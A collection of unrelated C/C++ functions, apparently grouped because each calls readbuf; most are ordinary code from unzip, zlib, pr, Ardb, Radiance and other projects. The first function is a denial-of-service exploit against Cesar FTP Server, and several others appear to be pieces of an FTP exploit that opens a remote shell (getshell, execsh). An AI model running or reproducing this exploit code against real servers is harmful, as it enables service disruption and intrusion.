void main(int argc, char *argv[]) { WSADATA wsa; unsigned short port; unsigned long ip; SOCKET s; int size = SIZE; printf("Cesar FTP Server Long Command DoS Exploit\r\n"); printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n"); if(argc < 3) { printf("%s <TargetHost> <TargetPort>\r\n", argv[0]); return; } WSAStartup(MAKEWORD(2,2),&wsa); if((s=create_socket())==0) { printf("[-] ERROR: Create socket failed.\r\n"); return; } if(!client_connect(s, argv[1], atoi(argv[2]))) exit(-1); readbuf("read", s, recvbuf, BUFFSIZE); memset(sendbuf, 0, BUFFSIZE); memset(sendbuf, 'A', size); sendbuf[size-2] ='\r'; sendbuf[size-1] ='\n'; while(1) { show=1; writebuf("Send Buff", s, sendbuf, size); readbuf("read", s, recvbuf, BUFFSIZE); Sleep(1000); } if(s) closesocket(s); WSACleanup(); }
void threadmain(int argc, char *argv[]) { int i; int lineset; int ifd; lineset = 0; Binit(&bout, 1, OWRITE); while(argc > 1 && argv[1][0] == '-'){ --argc; argv++; switch(argv[0][1]){ case '\0': colonflag = 1; break; case 't': tabflag = 0; break; default: linewidth = atoi(&argv[0][1]); if(linewidth <= 1) linewidth = WIDTH; lineset = 1; break; } } if(lineset == 0) getwidth(); cbuf = cbufp = malloc(ALLOC_QUANTA*(sizeof *cbuf)); word = malloc(WORD_ALLOC_QUANTA*(sizeof *word)); if(word == 0 || cbuf == 0) error("out of memory"); if(argc == 1) readbuf(0); else{ for(i = 1; i < argc; i++){ if((ifd = open(*++argv, OREAD)) == -1) fprint(2, "mc: can't open %s (%r)\n", *argv); else{ readbuf(ifd); Bflush(&bin); close(ifd); } } } columnate(); Bflush(&bout); threadexitsall(0); }
char * readstr(int fd, enum comm comm) { size_t sz; return (readbuf(fd, comm, &sz)); }
void Ardb::Walk(WalkHandler* handler) { KeyObject start(Slice(), KV, 0); Iterator* iter = FindValue(start); uint32 cursor = 0; while (NULL != iter && iter->Valid()) { Slice tmpkey = iter->Key(); KeyObject* kk = decode_key(tmpkey, NULL); if (NULL == kk) { break; } ValueObject v; Buffer readbuf(const_cast<char*>(iter->Value().data()), 0, iter->Value().size()); decode_value(readbuf, v, false); int ret = handler->OnKeyValue(kk, &v, cursor++); DELETE(kk); if (ret < 0) { break; } iter->Next(); } DELETE(iter); }
void Ardb::PrintDB(const DBID& db) { Slice empty; KeyObject start(empty, KV, db); Iterator* iter = FindValue(start); while (NULL != iter && iter->Valid()) { Slice tmpkey = iter->Key(); KeyObject* kk = decode_key(tmpkey, NULL); if (kk->db != db) { DELETE(kk); break; } ValueObject v; Buffer readbuf(const_cast<char*>(iter->Value().data()), 0, iter->Value().size()); decode_value(readbuf, v, false); if (NULL != kk) { std::string str; DEBUG_LOG("[%d]Key=%s, Value=%s", kk->type, kk->key.data(), v.ToString(str).c_str()); } DELETE(kk); iter->Next(); } DELETE(iter); }
void retrfile(char *s,int len,int port) { int i,pid; char data1; struct sockaddr_in client; memset(&client,0,sizeof(client)); sockfd1=socket(2,1,0); if(create_serv(sockfd1,port)<0) quit(); i=sizeof(client); sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i); printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr)); memset(s,0,len); if(getshell==1) { if(bindmethod==0) { printf("[+] Is it a shell on %s:%d?\n",cbhost,pt); quit(); } else { printf("[+] Waiting for a shell.....\n"); sockfd2=socket(AF_INET,SOCK_STREAM,0); sleep(2); client_connect(sockfd2,server,pt); execsh(sockfd2); quit(); } } readbuf(NULL,sockfd2,s,len); close(sockfd2); close(sockfd1); }
unsigned int ibitfs_get(IBITFS *bfs, unsigned int len) { unsigned int d = 0; unsigned int t = 8 - bfs->bpos; #ifdef NDEBUG len = (len - 1) & 0x0000001F; len++; #else if(len > 32 || len == 0){ fputs("len is greater than 32.", stderr); exit(EXIT_FAILURE); } #endif while(t <= len){ d <<= t; d |= bfs->buf[bfs->pos] & ((1 << t) - 1); bfs->pos++; if(bfs->pos == bfs->rest) readbuf(bfs); len -= t; bfs->bpos = 0; t = 8; } if(len){ d <<= len; d |= (bfs->buf[bfs->pos] >> (8 - bfs->bpos - len)) & ((1 << len) - 1); bfs->bpos += len; } return d; }
void readstr(Req *r, char *s) { if(s == nil) r->ofcall.count = 0; else readbuf(r, s, strlen(s)); }
/*************************************************************************************************** * LOCAL FUNCTIONS ***************************************************************************************************/ static void rxCB( uint8 port, uint8 event ) { extern uint8 SampleApp_TaskID; rxlen=Hal_UART_RxBufLen(SERIAL_APP_PORT); //接收缓冲区数据长度,字节为单位 readbuf(); //读取buf的数值,并判断时候用ID功能 if(rxlen==0) osal_mem_free( rbuf ); //释放内存 else osal_set_event(SampleApp_TaskID,UART_RX_CB_EVT); }
static ssize_t readgz(struct state *s, void *buf, size_t len) { unsigned char *start = buf; /* start for CRC computation */ if (s->z_err == Z_DATA_ERROR || s->z_err == Z_ERRNO) return (-1); if (s->z_err == Z_STREAM_END) return (0); /* EOF */ s->stream.next_out = buf; s->stream.avail_out = len; while (s->stream.avail_out != 0) { if (s->stream.avail_in == 0 && s->z_eof == 0) { ssize_t got; got = readbuf(s, s->inbuf, Z_BUFSIZE); if (got <= 0) s->z_eof = 1; s->stream.avail_in = got; s->stream.next_in = s->inbuf; } s->z_err = inflate(&s->stream, Z_NO_FLUSH); if (s->z_err == Z_STREAM_END) { /* Check CRC and original size */ s->crc = crc32(s->crc, start, (unsigned int) (s->stream.next_out - start)); start = s->stream.next_out; if (get_u32(s) != s->crc) { printf("FATAL: CRC checksum mismatch\n"); s->z_err = Z_DATA_ERROR; } if (get_u32(s) != s->stream.total_out) { printf("FATAL: total output mismatch\n"); s->z_err = Z_DATA_ERROR; } s->z_eof = 1; } if (s->z_err != Z_OK && s->z_err != Z_STREAM_END) { printf("FATAL: error %d from zlib\n", s->z_err); return (-1); } if (s->z_err != Z_OK || s->z_eof) break; } s->crc = crc32(s->crc, start, (unsigned int)(s->stream.next_out - start)); return ((ssize_t) (len - s->stream.avail_out)); }
static void balance(int bline) /* line balancing for last page */ { wchar_t *s = Buffer; COLP p = Colpts; int colno = 0; int j; int c; int l; int lines; if (!fold) { c = bline % Ncols; l = (bline + Ncols - 1)/Ncols; bline = 0; do { for (j = 0; j < l; ++j) while (*s++ != '\n') ; (++p)->c_lno = Lnumb + (bline += l); p->c_ptr0 = p->c_ptr = s; if (++colno == c) --l; } while (colno < Ncols - 1); } else { lines = readbuf(&s, 0, 0); l = (lines + Ncols - 1)/Ncols; if (l > ((Length - Margin) / Dblspace)) { l = (Length - Margin) / Dblspace; c = Ncols; } else { c = lines % Ncols; } s = Buffer; do { (void) readbuf(&s, l, p++); if (++colno == c) --l; } while (colno < Ncols); Bufptr = s; } }
void setascii() { int j; memset(cmdbuf,0,SIZE); j=sprintf(cmdbuf,"%s\r\n",ascistr); sendbuf(sockfd,cmdbuf,j); readbuf(NULL,sockfd,srvbuf,SIZE); checkstatus(srvbuf); }
static int read_tzx_header(byte *hb, struct seginfo *csp) { int res; int segid, seght; int lenoffs, lenbytes, lenmul, lenadd; int hlen; long length; byte *hip; segid = getc(tapefd); if(segid == EOF) { csp->segtype = SEG_END; rb->snprintf(seg_desc,DESC_LEN, "End of Tape"); return 0; } hb[0] = (byte) segid; if(segid < NUMBLOCKID) seght = tzxb[segid].type; else seght = 0; /* was NONE here*/ if(seght == COMM) { lenbytes = tzxb[segid].lenbytes; lenmul = tzxb[segid].lenmul; hlen = tzxb[segid].hlen; lenadd = hlen; lenoffs = hlen - lenbytes; } else { lenoffs = 0x00; lenbytes = 4; lenmul = 1; lenadd = 0x00; hlen = 0x04; } if(seght == STAN) hlen += tzxb[segid].hlen; hip = hb+1; res = readbuf(hip, hlen, tapefd); if(res != hlen) { premature(csp); return 0; } length = 0; for(;lenbytes; lenbytes--) length = (length << 8) + hip[lenoffs + lenbytes - 1]; length = (length * lenmul) + lenadd - hlen; csp->len = length; return 1; }
void loginftp(char *user,char *pass) { int j; show=1; readbuf("Get banner",sockfd,srvbuf,SIZE); show=0; memset(cmdbuf,0,SIZE); //USER j=sprintf(cmdbuf,"%s %s\r\n",usrstr,user); sendbuf(sockfd,cmdbuf,j); readbuf(NULL,sockfd,srvbuf,SIZE); checkstatus(srvbuf); //PASS memset(cmdbuf,0,SIZE); j=sprintf(cmdbuf,"%s %s\r\n",passtr,pass); sendbuf(sockfd,cmdbuf,j); readbuf(NULL,sockfd,srvbuf,SIZE); checkstatus(srvbuf); printf("[+] User %s logged in\n",user); }
int setpasv() { int j,port1; memset(cmdbuf,0,SIZE); j=sprintf(cmdbuf,"%s\r\n",pasvstr); sendbuf(sockfd,cmdbuf,j); readbuf("Set PASV",sockfd,srvbuf,SIZE); checkstatus(srvbuf); port1=dealpasv(srvbuf); //get the pasv port return port1; }
void retrbuf(char *filename,char *buffer,int length,int port1) { int j; printf("[+] RETR file %s\n",filename); memset(cmdbuf,0,SIZE); j=sprintf(cmdbuf,"%s %s\r\n",retrstr,filename); sendbuf(sockfd,cmdbuf,j); retrfile(buffer,length,port1); readbuf(NULL,sockfd,srvbuf,SIZE); checkstatus(srvbuf); }
void storbuf(char *filename,char *buf,int size,int port) { int j; printf("[+] STOR file %s\n",filename); memset(cmdbuf,0,SIZE); j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename); sendbuf(sockfd,cmdbuf,j); storfile(buf,size,port); //check if the content is send overd readbuf(NULL,sockfd,srvbuf,SIZE); checkstatus(srvbuf); }
void loginftp(SOCKET sockfd, char *user, char *pass) { int j; show=1; readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE); //show=0; //send USER username memset(sendbuf,0,BUFFSIZE); j=sprintf(sendbuf,"%s %s\r\n", "USER", user); writebuf("Send USER", sockfd,sendbuf,j); readbuf(NULL,sockfd, recvbuf, BUFFSIZE); checkstatus(recvbuf); //send PASS password memset(sendbuf,0,BUFFSIZE); j=sprintf(sendbuf,"%s %s\r\n","PASS", pass); writebuf("Send PASS", sockfd, sendbuf, j); readbuf(NULL,sockfd,recvbuf, BUFFSIZE); checkstatus(recvbuf); printf("[+] User %s logged in.\r\n", user); }
int UnzOpr::find_ecrec64(ZInt64 searchlen) /* return PK-class error */ { uch byterec[ECREC64_SIZE + 4]; switch(rec_find(searchlen, EndCentral64Sig /* fend_central64_sig */ , ECREC64_SIZE)) { case 1: return PK_OK; case 2: // if (uO.qflag || uO.zipinfo_mode) // Info(slide, 0x401, ((char *)slide, "[%s]\n", fzipfn)); Notify(IERROR, _T("end-of-central-dir64 signature not found [%s]"), fzipfn.c_str()); // Info(slide, 0x401, ((char *)slide, // LoadFarString(Cent64EndSigSearchErr))); return PK_ERR; /* else: found ECREC64, continue! */ } freal_ecrec_offset = fcur_zipfile_bufstart + (finptr - finbuf); if (readbuf((char*)byterec, ECREC64_SIZE + 4) == 0) return PK_EOF; if (fecrec.number_this_disk == 0xffff) fecrec.number_this_disk = makelong(&byterec[NUMBER_THIS_DISK64]); if (fecrec.num_disk_start_cdir == 0xffff) fecrec.num_disk_start_cdir = makelong (&byterec[NUM_DISK_WITH_START_CEN_DIR64]); if (fecrec.num_entries_centrl_dir_ths_disk == 0xffff) fecrec.num_entries_centrl_dir_ths_disk = makeint64 (&byterec[NUM_ENTRIES_CEN_DIR_THS_DISK64]); if (fecrec.total_entries_central_dir == 0xffff) fecrec.total_entries_central_dir = makeint64 (&byterec[TOTAL_ENTRIES_CENTRAL_DIR64]); if (fecrec.size_central_directory == 0xffffffff) fecrec.size_central_directory = makeint64 (&byterec[SIZE_CENTRAL_DIRECTORY64]); if (fecrec.offset_start_central_directory == 0xffffffff) fecrec.offset_start_central_directory = makeint64 (&byterec[OFFSET_START_CENTRAL_DIRECTORY64]); /* We know its a big file now. The "end of the central directory" mark used as break condition for the central-directory scan is the "end_central64" signature. */ fecrec.is_zip64_archive = TRUE; return PK_COOL; } /* end function find_ecrec64() */
int process( /* process data through pd */ SUBPROC *pd, char *recvbuf, char *sendbuf, int nbr, int nbs ) { if (nbs > PIPE_BUF) return(-1); if (!pd->running) return(-1); if (writebuf(pd->w, sendbuf, nbs) < nbs) return(-1); return(readbuf(pd->r, recvbuf, nbr)); }
static int read_tap_header(byte *hb, struct seginfo *csp) { int res; res = readbuf(hb, 2, tapefd); if(res < 2) { if(res == 0) { csp->segtype = SEG_END; rb->snprintf(seg_desc,DESC_LEN, "End of Tape"); } else premature(csp); return 0; } csp->len = DBYTE(hb, 0); return 1; }
static void ray_pchild( /* process rays (never returns) */ int fd_in, int fd_out ) { int n; register int i; /* flag child process for quit() */ ray_pnprocs = -1; /* read each ray request set */ while ((n = read(fd_in, (char *)r_queue, sizeof(r_queue))) > 0) { int n2; if (n < sizeof(RAY)) break; /* get smuggled set length */ n2 = sizeof(RAY)*r_queue[0].crtype - n; if (n2 < 0) error(INTERNAL, "buffer over-read in ray_pchild()"); if (n2 > 0) { /* read the rest of the set */ i = readbuf(fd_in, (char *)r_queue + n, n2); if (i != n2) break; n += n2; } n /= sizeof(RAY); /* evaluate rays */ for (i = 0; i < n; i++) { r_queue[i].crtype = r_queue[i].rtype; r_queue[i].parent = NULL; r_queue[i].clipset = NULL; r_queue[i].slights = NULL; r_queue[i].rlvl = 0; samplendx += samplestep; rayclear(&r_queue[i]); rayvalue(&r_queue[i]); } /* write back our results */ i = writebuf(fd_out, (char *)r_queue, sizeof(RAY)*n); if (i != sizeof(RAY)*n) error(SYSTEM, "write error in ray_pchild()"); } if (n) error(SYSTEM, "read error in ray_pchild()"); ambsync(); quit(0); /* normal exit */ }
void Ardb::Walk(KeyObject& key, bool reverse, WalkHandler* handler) { bool isFirstElement = true; Iterator* iter = FindValue(key); if (NULL != iter && !iter->Valid() && reverse) { iter->SeekToLast(); isFirstElement = false; } uint32 cursor = 0; while (NULL != iter && iter->Valid()) { Slice tmpkey = iter->Key(); KeyObject* kk = decode_key(tmpkey, &key); if (NULL == kk || kk->type != key.type || kk->key.compare(key.key) != 0) { DELETE(kk); if (reverse && isFirstElement) { iter->Prev(); isFirstElement = false; continue; } break; } ValueObject v; Buffer readbuf(const_cast<char*>(iter->Value().data()), 0, iter->Value().size()); decode_value(readbuf, v, false); int ret = handler->OnKeyValue(kk, &v, cursor++); DELETE(kk); if (ret < 0) { break; } if (reverse) { iter->Prev(); } else { iter->Next(); } } DELETE(iter); }
/* =========================================================================== * Function get_cdir_ent() * Return PK-type error code. */ int UnzOpr::get_cdir_ent(void) { ZipCentralHeader zch; if (Verbose < 0) Notify(ITRACE, _T("in get_cdir_ent")); /* --------------------------------------------------------------------------- * Read the next central directory entry and do any necessary machine-type * conversions (byte ordering, structure padding compensation--do so by * copying the data from the array into which it was read (byterec) to the * usable struct (crec)). *--------------------------------------------------------------------------- */ if (readbuf((char*) & zch.MadeBy, sizeof(ZipCentralHeader)-sizeof(unsigned long)) == 0) { if (Verbose) Notify(ITRACE, _T("Central Header not found")); return PK_EOF; } fcrec.made_by = zch.MadeBy; fcrec.version_needed_to_extract[0] = zch.VersionNeeded[0]; fcrec.version_needed_to_extract[1] = zch.VersionNeeded[1]; fcrec.general_purpose_bit_flag = zch.Flag; fcrec.compression_method = zch.ComprMethod; fcrec.last_mod_file_time = zch.ModifTime; fcrec.last_mod_file_date = zch.ModifDate; fcrec.crc32 = zch.CRC32; fcrec.csize = zch.ComprSize; fcrec.ucsize = zch.UnComprSize; fcrec.filename_length = zch.FileNameLen; fcrec.extra_field_length = zch.ExtraLen; fcrec.file_comment_length = zch.FileComLen; fcrec.disk_number_start = zch.DiskStart; fcrec.internal_file_attributes = zch.IntFileAtt; fcrec.external_file_attributes = zch.ExtFileAtt; fcrec.relative_offset_local_header = zch.RelOffLocal; if (Verbose < 0) Notify(ITRACE, _T("Found Central Directory entry, filename of len %d"), fcrec.filename_length); return PK_COOL; }
static int add_drivers() { int size; int n = 0; /* initialize hash table */ if (getcfg(cfg_file, "device_driver_table_size", &size, GETCFG_INT32) != 0) size = DRIVER_TABLE_SIZE; driver_table = hash_init(size, hash_func_driver); if (driver_table == NULL) return -1; /* load device drivers into hash table */ char path[PATH_MAX], prefix[32]; getcfg(cfg_file, "device_lib_path", path, GETCFG_STR); getcfg(cfg_file, "device_lib_name_prefix", prefix, GETCFG_STR); char *names = lookup_so(path, prefix); if (names == NULL) { syslog(LOG_ERR, "nono driver found"); return -1; } buf_t *pb = openbuf(names, strlen(names)); if (pb == NULL) { free(names); return -1; } char *line; while ((line = readbuf(pb, "\n")) != NULL) { if (add_driver(line) == 0) n++; } closebuf(pb); free(names); if (n == 0) { syslog(LOG_ERR, "none driver loaded"); return -1; } return 0; }
/** Fills the input buffer with audio data from the microphone. * * @param data the buffer to fill with audio data * @param len the size of the buffer * @return a pointer to the filled buffer */ uint16_t VoiceStreamer::fillBuffer(char *data, int len) { int latency, bufsize, room_left = len; size_t frames_in, frames_out, in_max; ssize_t r; char *buffer, *data_ptr = data; bool done = false; latency = latency_min - 4; bufsize = (latency_max*snd_pcm_format_width(format)/8)*2; buffer = new char[bufsize]; while (!done) { while (frames_in < loop_limit) { if ((r = readbuf(chandle, buffer, latency, &frames_in, &in_max)) < 0) { break; } else { if (room_left > r<<2) { memcpy(data_ptr, buffer, r<<2); data_ptr += (r<<2); room_left -= (r<<2); } else { memcpy(data_ptr, buffer, room_left); data_ptr += room_left; room_left = 0; done = true; break; } } } if (!done) { snd_pcm_drop(chandle); snd_pcm_unlink(chandle); snd_pcm_hw_free(chandle); frames_in = frames_out = in_max = 0; if (setparams_c(chandle, &latency) < 0) break; } } return uint16_t (len - room_left); }
void setport(char *l,int pt1) { int a,i,b,c,j; char buf[30]; memset(buf,0,30); i=sprintf(buf,"%s",l); for(a=0;a<i;a++) if(buf[a]=='.') buf[a]=','; memset(cmdbuf,0,SIZE); b=(pt1 >> 8 ) & 0xff; c=pt1 & 0xff; j=sprintf(cmdbuf,"%s %s,%d,%d\r\n",portstr,buf,b,c); printf("[+] %s",cmdbuf); sendbuf(sockfd,cmdbuf,j); readbuf(NULL,sockfd,srvbuf,SIZE); checkstatus(srvbuf); }
/* =========================================================================== * Function process_local_file_hdr() */ int UnzOpr::process_local_file_hdr(void) { /* return PK-type error code */ // local_byte_hdr byterec; ZipLocalHeader zlh; /* --------------------------------------------------------------------------- * Read the next local file header and do any necessary machine-type con- * versions (byte ordering, structure padding compensation--do so by copy- * ing the data from the array into which it was read (byterec) to the * usable struct (lrec)). *--------------------------------------------------------------------------- */ if (readbuf((char*) & zlh.VersionNeed, sizeof(ZipLocalHeader)-sizeof(unsigned long)) == 0) return PK_EOF; flrec.version_needed_to_extract[0] = zlh.VersionNeeded[0]; flrec.version_needed_to_extract[1] = zlh.VersionNeeded[1]; flrec.general_purpose_bit_flag = zlh.Flag; flrec.compression_method = zlh.ComprMethod; flrec.last_mod_file_time = zlh.ModifTime; flrec.last_mod_file_date = zlh.ModifDate; flrec.crc32 = zlh.CRC32; flrec.csize = zlh.ComprSize; flrec.ucsize = zlh.UnComprSize; flrec.filename_length = zlh.FileNameLen; flrec.extra_field_length = zlh.ExtraLen; fcsize = flrec.csize; fucsize = flrec.ucsize; if ((flrec.general_purpose_bit_flag & FLAG_EXTEND_BIT) != 0) { /* can't trust local header, use central directory: */ flrec.crc32 = fpInfo->crc; fcsize = flrec.csize = fpInfo->compr_size; fucsize = flrec.ucsize = fpInfo->uncomp_size; } if (Verbose < 0) Notify(ITRACE, _T("found Local Header entry, filename len of %d"), flrec.filename_length); return PK_COOL; }
static void foldbuf() { int num; int i; int colno = 0; int size = Buflen; wchar_t *s; wchar_t *d; COLP p = Colpts; for (i = 0; i < Ncols; i++) Fcol[i].eof = 0; d = Buffer; if (Bufptr != Bufend) { s = Bufptr; while (s < Bufend) *d++ = *s++; size -= (Bufend - Bufptr); } Bufptr = Buffer; p->c_ptr0 = p->c_ptr = Buffer; if (p->c_lno == 0) { p->c_lno = Lnumb; p->c_skip = 0; } else { p->c_lno = Colpts[Ncols-1].c_lno; p->c_skip = Colpts[Ncols].c_skip; if (p->c_skip) p->c_lno--; } if ((num = freadw(d, size, Files->f_f)) != size) { for (*(d+num) = WEOF; (++p) <= &Colpts[Ncols]; ) { p->c_ptr0 = p->c_ptr = (d+num); } balance(0); return; } i = (Length - Margin) / Dblspace; do { (void) readbuf(&Bufptr, i, p++); } while (++colno < Ncols); }
extern PACKET * flush_queue(void) /* empty all rtrace queues */ { PACKET *rpdone = NULL; register PACKET *rpl = NULL; float *bp; register PACKET *p; int i, n, nr; for (i = 0; i < nprocs; i++) if (pqlen[i]) { if (rpdone == NULL) { /* tack on queue */ rpdone = rpl = pqueue[i]; if ((nr = rpl->nr) < RPACKSIZ) nr++; } else { rpl->next = pqueue[i]; nr = 0; } while (rpl->next != NULL) { nr += (rpl = rpl->next)->nr; if (rpl->nr < RPACKSIZ) nr++; /* add flush block */ } n = readbuf(rtpd[i].r, (char *)rtbuf, 4*sizeof(float)*nr); if (n < 0) error(SYSTEM, "read failure in flush_queue"); bp = rtbuf; /* process packets */ for (p = pqueue[i]; p != NULL; p = p->next) { if ((nr = p->nr) < RPACKSIZ) nr++; /* add flush block */ n -= 4*sizeof(float)*nr; if (n >= 0) donerays(p, bp); else p->nr = 0; /* short data error */ bp += 4*nr; } pqueue[i] = NULL; /* zero this queue */ pqlen[i] = 0; } return(rpdone); /* return all packets completed */ }